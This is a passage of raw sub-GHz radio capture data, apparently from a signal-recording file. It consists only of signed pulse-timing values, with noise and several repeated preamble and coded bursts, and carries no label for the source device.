-82 59 -56 73 -86 87 -221 51 -78 55 -76 63 -251 59 -179 87 -249 198 -326 98 -95 131 -68 59 -124 89 -645 164 -86 91 -112 105 -60 105 -124 91 -209 53 -917 61 -481 104 -215 105 -52 61 -495 51 -1112 139 -62 53 -116 98 -512 70 -218 101 -249 53 -222 67 -1110 204 -182 69 -259 88 -548 104 -618 88 -126 104 -150 61 -377 144 -87 106 -215 81 -118 81 -400 53 -123 53 -84 110 -68 93 -246 116 -299 77 -186 65 -134 81 -141 133 -78 53 -272 51 -198 148 -225 157 -610 53 -198 61 -113 63 -187 53 -216 148 -299 51 -108 71 -292 96 -273 61 -54 98 -108 80 -172 65 -204 55 -445 99 -186 67 -92 137 -506 71 -166 92 -368 101 -223 106 -285 51 -478 61 -106 80 -203 69 -144 89 -66 237 -76 51 -88 110 -109 78 -72 196 -202 89 -269 97 -64 75 -150 217 -719 57 -295 76 -868 73 -68 51 -314 95 -424 107 -89 63 -769 71 -554 59 -290 55 -120 119 -106 61 -148 77 -492 61 -90 53 -146 59 -64 75 -224 51 -406 75 -373 123 -254 76 -571 77 -306 129 -774 97 -52 53 -98 51 -190 -RAW_Data: 63 -173 51 -172 67 -673 53 -325 131 -136 53 -776 51 -54 63 -98 144 -144 79 -416 85 -70 152 -512 93 -129 231 -62 103 -548 118 -105 65 -157 71 -191 51 -80 84 -417 67 -327 94 -1052 105 -172 53 -134 63 -637 57 -361 97 -96 59 -68 141 -54 134 -150 79 -64 107 -78 79 -194 75 -162 51 -184 129 -117 71 -107 53 -133 91 -92 53 -64 53 -62 205 -203 160 -235 142 -66 79 -151 67 -54 113 -92 53 -209 71 -54 156 -278 107 -214 79 -156 227 -307 73 -83 97 -94 82 -118 59 -76 105 -245 97 -120 160 -202 75 -272 71 -94 71 -58 81 -227 137 -159 107 -62 53 -184 162 -238 136 -160 77 -263 115 -64 57 -186 107 -151 132 -299 190 -60 89 -54 107 -258 223 -90 161 -64 61 -90 218 -70 51 -170 99 -108 130 -233 105 -62 77 -453 365 -186 99 -76 59 -126 65 -644 71 -264 61 -86 51 -829 81 -366 85 -106 77 -303 103 -351 73 -174 75 -270 59 -310 88 -352 77 -272 117 -781 89 -485 208 -343 87 -164 67 -68 77 -286 61 -256 92 -234 124 -509 124 -311 85 -120 73 -196 51 -239 97 -381 113 -486 61 -241 89 -542 65 -97 67 -156 57 -167 67 -304 117 -412 53 -320 79 -280 155 -249 135 -124 77 -709 177 -214 65 -623 51 -309 53 -585 129 -108 79 -118 115 -413 67 -56 83 -170 79 -154 148 -526 164 -241 57 -305 53 -98 53 -693 53 -278 75 -92 98 -136 61 -235 101 -244 53 -206 99 -304 51 -459 124 -133 133 -376 59 -733 57 -94 77 -276 159 -529 53 -1003 61 -298 51 -179 59 -119 125 -206 57 -97 71 -218 53 -226 83 -579 81 -370 97 -172 124 -590 69 -324 61 -178 61 -321 81 -122 51 -279 124 -212 61 -132 122 -560 53 -234 129 -645 77 -132 53 -252 81 -58 115 -94 61 -196 65 -54 67 -74 51 -380 89 -188 53 -452 69 -149 81 -76 81 -104 67 -678 51 -928 99 -645 67 -56 69 -58 61 -274 71 -272 61 -175 51 -94 179 -389 63 -480 53 -216 53 -267 51 -306 63 -106 51 -303 87 -102 59 -91 69 -118 77 -505 73 -981 67 -56 59 -545 194 -287 151 -104 689 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 290 -68 110 -72 51 -177 100 -144 59 -850 75 -358 53 -159 71 -348 89 -64 77 -211 89 -80 167 -1063 165 -605 87 -685 53 -353 79 -136 61 -80 96 -320 77 -140 63 -146 106 -399 123 -302 100 -324 51 -76 51 -181 221 -54 129 -124 57 -117 53 -222 144 -74 75 -86 65 -132 61 -614 55 -124 89 -172 82 -107 53 -161 71 -209 77 -154 53 -220 88 -88 163 -367 84 -256 73 -422 83 -62 127 -134 63 -152 67 -121 119 -258 76 -316 73 -613 105 -224 51 -166 105 -60 51 -119 67 -96 51 -439 59 -595 71 -52 51 -60 61 -119 53 -224 85 -64 53 -206 57 -475 51 -66 107 -80 59 -286 71 -967 91 -124 53 -106 61 -78 51 -539 51 -88 61 -60 108 -239 138 -300 81 -126 83 -182 97 -189 61 -431 61 -252 61 -743 63 -161 53 -96 53 -642 103 -353 89 -70 132 -575 61 -777 75 -306 67 -54 207 -576 96 -382 71 -120 85 -258 61 -64 88 -72 99 -191 67 -325 67 -120 67 -242 73 -112 81 -128 65 -124 53 -76 61 -84 77 -249 88 -126 -RAW_Data: 73 -146 99 -238 137 -138 77 -255 53 -72 157 -291 139 -571 89 -786 78 -62 75 -1018 134 -116 51 -92 67 -68 85 -318 88 -162 63 -193 61 -130 61 -172 79 -906 133 -159 123 -265 1243 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -56 69 -126 63 -64 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 61 -64 127 -130 127 -128 125 -120 135 -56 69 -124 129 -128 127 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -62 61 -64 63 -62 63 -64 63 -64 61 -128 65 -62 127 -128 127 -128 63 -62 61 -62 127 -64 63 -128 127 -128 63 -62 125 -128 63 -64 61 -62 63 -64 63 -62 127 -66 61 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 61 -64 127 -64 63 -126 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 323 -66 61 -571 65 -148 83 -214 53 -64 53 -364 77 -305 59 -207 103 -167 113 -498 89 -170 61 -517 75 -561 107 -100 103 -185 67 -157 75 -335 63 -296 55 -204 88 -467 63 -215 88 -96 53 -353 57 -84 87 -122 75 -174 61 -102 81 -272 89 -191 81 -331 63 -304 142 -461 80 -62 59 -247 113 -159 61 -856 51 -248 55 -104 191 -273 133 -114 81 -297 53 -546 89 -204 83 -60 153 -1034 51 -276 59 -74 61 -296 146 -238 107 -375 59 -421 57 -669 73 -62 59 -216 64 -238 55 -72 83 -148 63 -467 202 -82 165 -508 61 -204 53 -236 79 -524 106 -116 85 -390 51 -90 105 -138 59 -134 106 -276 53 -54 171 -96 57 -234 53 -419 74 -186 53 -936 109 -365 51 -132 53 -554 92 -306 105 -68 119 -128 51 -186 59 -114 53 -503 65 -252 83 -147 104 -381 77 -436 67 -361 -RAW_Data: 63 -269 185 -215 111 -849 61 -495 187 -113 71 -905 170 -201 71 -90 64 -560 53 -54 124 -72 108 -116 65 -96 89 -144 88 -147 61 -327 284 -1014 53 -161 71 -641 89 -350 61 -350 63 -326 95 -203 151 -725 65 -252 53 -165 59 -198 73 -56 211 -62 319 -232 259 -106 234 -285 92 -108 93 -223 63 -144 93 -82 161 -92 260 -52 53 -106 71 -181 77 -192 194 -64 87 -112 119 -110 57 -138 273 -173 103 -103 75 -165 67 -131 93 -112 236 -98 187 -62 107 -251 152 -116 61 -143 192 -62 460 -64 139 -96 205 -52 200 -62 65 -135 77 -156 123 -91 233 -76 156 -106 182 -76 249 -68 361 -90 368 -74 83 -56 141 -62 73 -120 156 -80 71 -116 192 -75 174 -68 89 -225 113 -107 150 -82 65 -56 243 -108 53 -170 361 -285 95 -108 144 -144 239 -322 57 -70 75 -83 69 -232 53 -150 238 -54 53 -118 171 -70 53 -136 103 -68 280 -90 312 -442 53 -148 73 -135 258 -118 86 -183 59 -114 81 -78 89 -200 161 -1109 63 -429 96 -163 91 -202 92 -447 107 -74 59 -361 71 -54 61 -338 63 -134 120 -941 89 -174 57 -100 207 -481 75 -409 71 -885 95 -196 133 -238 53 -106 87 -503 69 -544 91 -82 71 -597 79 -79 138 -170 57 -108 55 -104 99 -100 67 -442 71 -170 116 -144 113 -648 77 -72 63 -638 51 -72 53 -644 74 -84 51 -629 93 -308 112 -97 51 -131 149 -78 59 -142 210 -196 67 -180 51 -127 65 -805 51 -614 65 -455 63 -205 102 -491 57 -56 69 -212 57 -327 83 -54 53 -120 53 -294 71 -256 69 -134 67 -409 89 -164 51 -943 128 -523 109 -86 71 -152 59 -141 111 -220 71 -772 61 -150 59 -84 53 -52 51 -78 99 -114 85 -90 138 -276 77 -649 91 -166 117 -80 89 -98 81 -128 118 -64 75 -93 79 -140 51 -348 53 -111 51 -462 59 -52 85 -54 113 -64 108 -160 186 -72 59 -320 59 -70 57 -284 88 -116 59 -64 53 -108 69 -68 61 -258 131 -86 53 -177 81 -448 63 -52 97 -90 103 -96 160 -60 91 -158 77 -70 147 -167 183 -180 75 -282 87 -702 165 -310 65 -176 61 -90 141 -54 100 -184 51 -111 59 -141 83 -344 69 -209 97 -241 128 -215 79 -190 71 -238 89 -172 77 -167 105 -116 220 -295 71 -120 91 -363 107 -140 53 -166 110 -290 53 -60 118 -132 81 -258 75 -142 97 -239 69 -213 53 -138 114 -205 59 -325 67 -60 119 -110 96 -82 53 -84 140 -259 99 -230 75 -211 57 -92 126 -62 -RAW_Data: 77 -126 150 -74 89 -530 73 -116 51 -577 71 -316 53 -106 79 -311 69 -176 53 -54 158 -108 53 -112 118 -245 53 -62 65 -60 53 -126 95 -158 61 -78 57 -281 71 -80 99 -72 79 -138 113 -101 103 -372 197 -378 106 -100 53 -149 99 -142 61 -92 99 -156 59 -115 69 -52 85 -209 51 -126 675 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 199 -222 59 -340 61 -315 97 -64 187 -72 53 -136 65 -424 120 -281 75 -245 59 -221 69 -52 63 -583 79 -173 81 -212 51 -428 79 -72 200 -169 75 -777 67 -313 53 -132 61 -397 73 -485 61 -92 67 -780 71 -153 115 -224 53 -111 79 -239 51 -714 73 -322 71 -339 144 -144 61 -301 119 -152 96 -419 51 -104 53 -436 -RAW_Data: 63 -62 69 -64 125 -130 63 -62 63 -62 127 -128 127 -56 69 -126 129 -64 61 -126 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 63 -62 125 -64 63 -62 63 -128 63 -64 125 -64 63 -128 63 -62 63 -62 127 -64 63 -62 63 -128 127 -64 297 -203 67 -78 65 -1018 63 -667 75 -416 71 -72 51 -62 111 -213 89 -128 51 -133 79 -144 59 -632 92 -268 101 -100 51 -146 87 -102 73 -172 51 -423 79 -144 113 -89 81 -60 65 -64 113 -782 120 -593 53 -153 94 -496 63 -76 69 -180 134 -192 81 -106 69 -318 121 -88 75 -88 51 -291 59 -251 63 -319 55 -202 104 -228 97 -162 53 -472 107 -134 86 -181 71 -259 97 -427 99 -159 53 -398 53 -201 76 -66 118 -88 119 -329 94 -76 59 -313 69 -172 63 -306 90 -313 53 -167 73 -159 53 -223 80 -260 178 -243 51 -104 53 -81 51 -580 90 -428 71 -128 53 -165 61 -304 63 -62 63 -393 53 -611 88 -72 83 -184 83 -292 88 -114 103 -141 61 -136 61 -435 85 -229 77 -144 126 -197 53 -143 73 -68 160 -76 51 -76 88 -88 105 -202 113 -499 116 -379 95 -945 53 -282 180 -620 61 -266 53 -160 51 -210 75 -76 61 -215 71 -455 65 -255 87 -389 240 -196 67 -270 69 -166 63 -232 51 -98 61 -1094 69 -89 69 -435 61 -164 118 -68 75 -226 135 -90 51 -200 84 -273 83 -534 67 -439 69 -60 127 -467 53 -143 69 -64 81 -83 59 -272 161 -245 108 -142 259 -257 111 -178 57 -246 118 -243 55 -142 125 -333 172 -316 95 -62 87 -132 103 -242 89 -247 106 -132 51 -78 69 -536 148 -195 102 -72 195 -88 79 -106 175 -113 115 -72 59 -125 53 -108 148 -158 264 -56 173 -92 138 -114 63 -98 118 -210 159 -173 170 -80 185 -179 71 -72 67 -60 51 -154 57 -73 116 -304 61 -60 67 -313 53 -248 146 -272 65 -215 57 -90 144 -206 147 -201 71 -130 100 -283 63 -82 78 -154 154 -286 51 -282 51 -117 53 -171 71 -679 79 -379 65 -301 71 -586 99 -142 77 -222 98 -186 63 -360 148 -77 145 -58 61 -72 63 -284 63 -80 79 -470 53 -177 135 -100 123 -140 71 -347 119 -322 59 -1240 137 -1272 61 -281 110 -656 82 -98 51 -128 63 -196 91 -248 61 -98 61 -150 111 -118 111 -188 55 -548 59 -96 86 -123 67 -148 83 -94 55 -329 95 -187 138 -591 79 -167 61 -318 102 -86 96 -70 91 -176 53 -463 53 -64 93 -60 127 -158 169 -238 86 -400 51 -126 71 -375 -RAW_Data: 53 -741 59 -711 91 -520 53 -116 188 -152 69 -169 69 -96 83 -488 69 -150 81 -535 63 -52 67 -68 53 -164 83 -183 67 -280 171 -203 140 -147 51 -234 174 -397 71 -156 113 -70 82 -136 63 -80 101 -144 51 -90 93 -205 51 -512 53 -160 85 -384 104 -234 53 -241 228 -515 59 -407 65 -484 78 -534 51 -141 139 -242 88 -189 79 -681 148 -78 99 -487 77 -70 79 -162 57 -386 142 -54 70 -122 64 -250 69 -307 53 -251 59 -213 79 -207 121 -223 89 -54 61 -412 59 -486 79 -254 59 -267 61 -196 61 -365 92 -102 57 -94 53 -189 61 -202 53 -72 71 -234 79 -80 125 -68 69 -286 165 -70 77 -347 188 -70 77 -96 61 -305 306 -76 88 -204 59 -137 51 -74 81 -125 71 -190 53 -498 91 -120 93 -253 105 -78 67 -83 176 -369 109 -118 79 -121 79 -305 124 -52 96 -54 81 -104 79 -54 86 -181 65 -86 51 -237 81 -244 51 -292 67 -92 63 -205 105 -273 153 -364 51 -190 51 -165 186 -84 57 -168 69 -130 55 -82 227 -78 83 -52 89 -62 76 -150 178 -82 99 -126 71 -98 53 -385 81 -60 59 -108 89 -82 57 -488 117 -90 79 -60 53 -70 97 -269 63 -187 71 -208 91 -80 105 -856 97 -376 71 -84 75 -131 104 -393 204 -709 51 -209 53 -150 65 -130 71 -90 63 -116 67 -270 71 -306 59 -167 67 -66 73 -144 53 -228 51 -60 166 -209 89 -310 53 -388 89 -500 126 -79 63 -198 89 -211 57 -54 117 -244 61 -185 126 -136 67 -54 61 -337 61 -60 93 -184 55 -74 65 -128 51 -678 53 -234 53 -116 69 -253 97 -308 94 -146 81 -392 81 -702 81 -157 59 -138 86 -142 89 -89 89 -265 55 -626 81 -126 75 -164 84 -1415 214 -453 53 -205 67 -98 63 -72 63 -54 271 -102 51 -54 73 -202 75 -382 87 -263 189 -920 57 -192 88 -70 53 -196 83 -104 63 -92 51 -187 114 -571 69 -208 143 -114 67 -187 114 -283 138 -163 117 -80 51 -319 99 -249 83 -84 106 -106 65 -240 65 -906 51 -90 67 -235 85 -154 53 -136 135 -98 87 -225 88 -209 61 -62 142 -422 53 -198 53 -420 53 -387 151 -142 71 -276 93 -281 71 -162 106 -300 77 -473 103 -244 140 -235 178 -401 88 -178 51 -183 57 -201 88 -123 77 -437 71 -74 108 -172 131 -272 117 -859 74 -545 61 -874 59 -52 65 -62 71 -54 151 -92 63 -242 696 -56 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 201 -186 89 -90 61 -282 85 -409 51 -357 73 -210 81 -435 63 -452 125 -143 63 -160 59 -52 59 -503 77 -54 53 -169 53 -870 118 -304 113 -52 68 -553 117 -104 129 -180 63 -218 91 -96 59 -241 53 -234 99 -94 63 -62 71 -172 69 -369 85 -530 67 -1400 71 -118 111 -74 61 -606 61 -438 59 -324 69 -715 51 -66 74 -402 59 -256 61 -198 51 -136 57 -86 71 -231 103 -58 231 -150 51 -329 150 -76 87 -106 69 -139 53 -224 51 -356 75 -112 124 -102 51 -224 107 -309 69 -930 98 -472 115 -323 69 -516 55 -126 127 -74 51 -104 193 -322 71 -429 125 -60 142 -64 274 -372 159 -459 81 -60 75 -140 113 -123 67 -359 93 -97 88 -420 51 -62 53 -216 63 -317 81 -184 53 -473 61 -313 148 -453 79 -501 -RAW_Data: 59 -160 75 -563 89 -244 157 -165 61 -176 133 -553 98 -113 138 -122 59 -308 86 -152 67 -426 75 -195 97 -731 110 -700 88 -621 59 -184 61 -185 91 -128 55 -391 308 -58 272 -150 67 -82 154 -76 77 -490 93 -82 102 -504 71 -74 79 -454 106 -433 61 -126 175 -598 79 -216 89 -605 72 -116 89 -240 79 -88 57 -232 71 -575 97 -197 57 -194 94 -64 53 -62 61 -255 1075 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 127 -126 127 -120 135 -56 69 -124 129 -128 125 -120 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 63 -62 63 -128 127 -64 63 -62 63 -126 63 -64 127 -128 63 -64 61 -62 127 -128 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 69 -64 61 -64 61 -64 63 -64 63 -64 61 -128 129 -128 127 -126 63 -54 69 -64 125 -130 63 -62 63 -62 127 -128 127 -56 71 -126 127 -56 69 -126 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 63 -62 125 -64 63 -64 61 -128 63 -64 125 -64 63 -62 63 -64 63 -128 127 -64 61 -128 63 -62 127 -64 273 -505 63 -104 59 -134 86 -454 71 -719 53 -639 87 -64 53 -161 71 -54 53 -563 71 -90 51 -156 109 -89 51 -507 106 -264 63 -236 292 -362 63 -197 59 -119 107 -434 113 -589 103 -639 71 -199 77 -64 81 -90 114 -372 97 -86 51 -125 89 -167 81 -185 97 -133 87 -289 129 -216 99 -108 53 -118 98 -82 51 -76 113 -522 177 -213 82 -342 99 -148 53 -122 121 -118 131 -639 84 -134 53 -297 144 -220 67 -141 71 -159 67 -238 59 -52 73 -72 73 -88 142 -458 53 -269 155 -540 203 -62 53 -157 125 -90 182 -1089 63 -603 53 -283 61 -82 91 -268 97 -261 106 -604 102 -149 95 -102 106 -122 -RAW_Data: 65 -502 112 -98 103 -160 106 -165 71 -479 59 -426 107 -513 61 -491 150 -780 91 -164 67 -80 113 -305 59 -372 118 -309 51 -201 148 -716 88 -94 102 -154 107 -54 53 -145 97 -108 96 -259 53 -252 67 -249 51 -287 51 -285 61 -424 71 -214 124 -210 67 -484 131 -416 59 -275 53 -595 88 -113 63 -412 137 -178 121 -64 59 -491 53 -294 69 -144 81 -980 51 -112 71 -310 67 -840 53 -60 73 -303 61 -185 53 -247 120 -174 168 -52 77 -88 144 -313 89 -54 53 -80 224 -174 105 -78 105 -78 181 -100 229 -127 157 -118 57 -78 141 -105 119 -133 132 -54 189 -99 99 -64 140 -128 111 -164 220 -156 229 -207 77 -124 97 -88 191 -83 110 -68 89 -60 89 -68 167 -76 271 -72 89 -194 217 -54 245 -64 174 -66 269 -140 141 -62 111 -114 171 -119 65 -302 156 -267 108 -156 132 -151 81 -56 63 -134 180 -62 51 -83 265 -62 77 -54 344 -54 97 -212 71 -54 53 -54 151 -54 63 -72 51 -85 79 -126 135 -80 51 -261 186 -82 77 -159 346 -64 215 -209 188 -138 75 -89 93 -156 149 -90 137 -60 95 -172 63 -82 185 -66 167 -80 97 -190 79 -209 191 -68 175 -80 89 -289 87 -305 80 -91 156 -107 57 -54 175 -140 101 -172 181 -62 67 -258 51 -60 168 -132 120 -146 86 -108 89 -106 57 -74 104 -351 106 -54 97 -87 76 -223 123 -72 97 -270 133 -144 109 -52 91 -52 81 -231 123 -244 111 -80 162 -151 122 -706 88 -122 79 -142 53 -265 133 -690 55 -543 122 -398 110 -389 98 -60 226 -143 105 -82 175 -113 51 -231 95 -355 99 -421 61 -783 51 -68 78 -100 81 -128 115 -328 55 -1124 87 -858 59 -140 120 -54 124 -219 77 -62 89 -139 77 -86 85 -305 51 -381 79 -150 107 -60 155 -378 61 -62 53 -702 112 -555 71 -136 140 -330 116 -161 149 -562 51 -461 69 -154 133 -179 51 -60 113 -89 59 -473 135 -493 53 -126 53 -495 88 -370 84 -249 81 -94 51 -150 139 -82 51 -241 69 -1108 87 -110 193 -190 61 -241 119 -148 148 -204 211 -879 209 -66 51 -444 84 -715 65 -253 53 -109 63 -130 106 -266 74 -190 67 -313 61 -104 118 -104 71 -279 87 -370 59 -160 53 -456 107 -116 116 -52 97 -68 51 -143 140 -246 63 -687 59 -246 71 -124 51 -306 71 -54 94 -70 59 -294 97 -66 87 -108 59 -136 53 -285 81 -52 81 -236 59 -482 117 -136 55 -83 164 -521 159 -154 89 -275 132 -190 204 -106 115 -68 95 -176 -RAW_Data: 69 -54 230 -66 125 -231 85 -60 106 -64 111 -52 53 -106 109 -60 73 -90 51 -76 170 -292 61 -52 135 -54 121 -60 87 -98 65 -350 63 -209 65 -98 128 -376 53 -192 212 -286 99 -532 83 -52 123 -108 121 -52 236 -113 124 -226 90 -257 67 -185 71 -371 55 -52 108 -133 89 -54 285 -121 193 -107 87 -157 51 -157 218 -80 57 -70 55 -273 129 -167 73 -150 57 -68 69 -117 265 -225 79 -358 274 -275 121 -229 95 -134 87 -120 318 -52 459 -72 124 -72 61 -97 134 -98 71 -198 125 -110 221 -98 147 -82 155 -76 133 -191 95 -125 79 -70 323 -129 67 -96 89 -257 95 -168 228 -143 81 -264 127 -450 67 -384 181 -576 111 -84 51 -355 170 -144 194 -605 85 -315 51 -108 61 -242 150 -170 75 -260 79 -263 69 -54 51 -176 75 -52 111 -197 114 -252 119 -890 73 -54 88 -270 121 -186 97 -450 53 -155 59 -233 69 -187 181 -512 71 -169 69 -272 59 -295 99 -705 69 -162 71 -336 51 -116 61 -171 65 -419 152 -325 111 -131 51 -353 67 -652 86 -444 59 -200 79 -147 53 -781 77 -556 65 -468 69 -98 103 -222 51 -74 67 -88 96 -86 51 -307 61 -186 71 -194 53 -62 95 -160 53 -149 95 -66 71 -78 88 -178 99 -68 73 -68 75 -461 168 -1184 69 -90 63 -567 57 -126 91 -226 64 -222 178 -649 125 -86 85 -248 89 -156 51 -246 90 -68 75 -173 71 -544 154 -94 61 -226 53 -54 177 -189 156 -205 132 -115 108 -176 118 -86 63 -266 53 -152 81 -114 75 -186 53 -58 65 -277 57 -206 69 -261 57 -143 133 -231 96 -126 194 -381 81 -254 61 -471 67 -68 112 -644 85 -791 102 -258 117 -513 59 -160 63 -209 132 -72 83 -293 61 -385 78 -125 177 -175 81 -106 67 -102 63 -479 69 -80 53 -164 144 -105 166 -96 99 -104 103 -124 59 -471 71 -157 195 -390 81 -574 250 -708 51 -487 59 -54 51 -311 55 -144 142 -516 83 -100 97 -85 84 -316 51 -98 71 -146 81 -349 61 -275 61 -480 53 -483 65 -241 71 -220 81 -748 92 -104 71 -307 75 -561 69 -333 91 -238 51 -662 87 -216 63 -265 127 -133 67 -527 91 -84 216 -78 106 -862 125 -170 61 -210 147 -202 55 -239 61 -76 175 -626 117 -215 149 -70 111 -210 63 -190 88 -103 59 -80 77 -968 72 -192 72 -605 121 -634 87 -879 53 -357 67 -78 127 -824 53 -437 59 -504 81 -613 71 -138 59 -1209 53 -74 98 -80 161 -197 53 -54 97 -196 150 -126 113 -124 -RAW_Data: 111 -394 63 -222 80 -182 108 -261 57 -415 75 -238 73 -349 98 -162 113 -491 79 -64 57 -193 97 -158 107 -265 125 -511 59 -305 63 -451 180 -541 226 -100 79 -68 75 -66 71 -96 87 -184 130 -225 138 -331 75 -212 61 -293 114 -256 175 -448 109 -152 59 -250 79 -80 59 -622 158 -203 149 -116 51 -457 63 -180 53 -90 122 -1057 71 -206 57 -1284 53 -294 61 -86 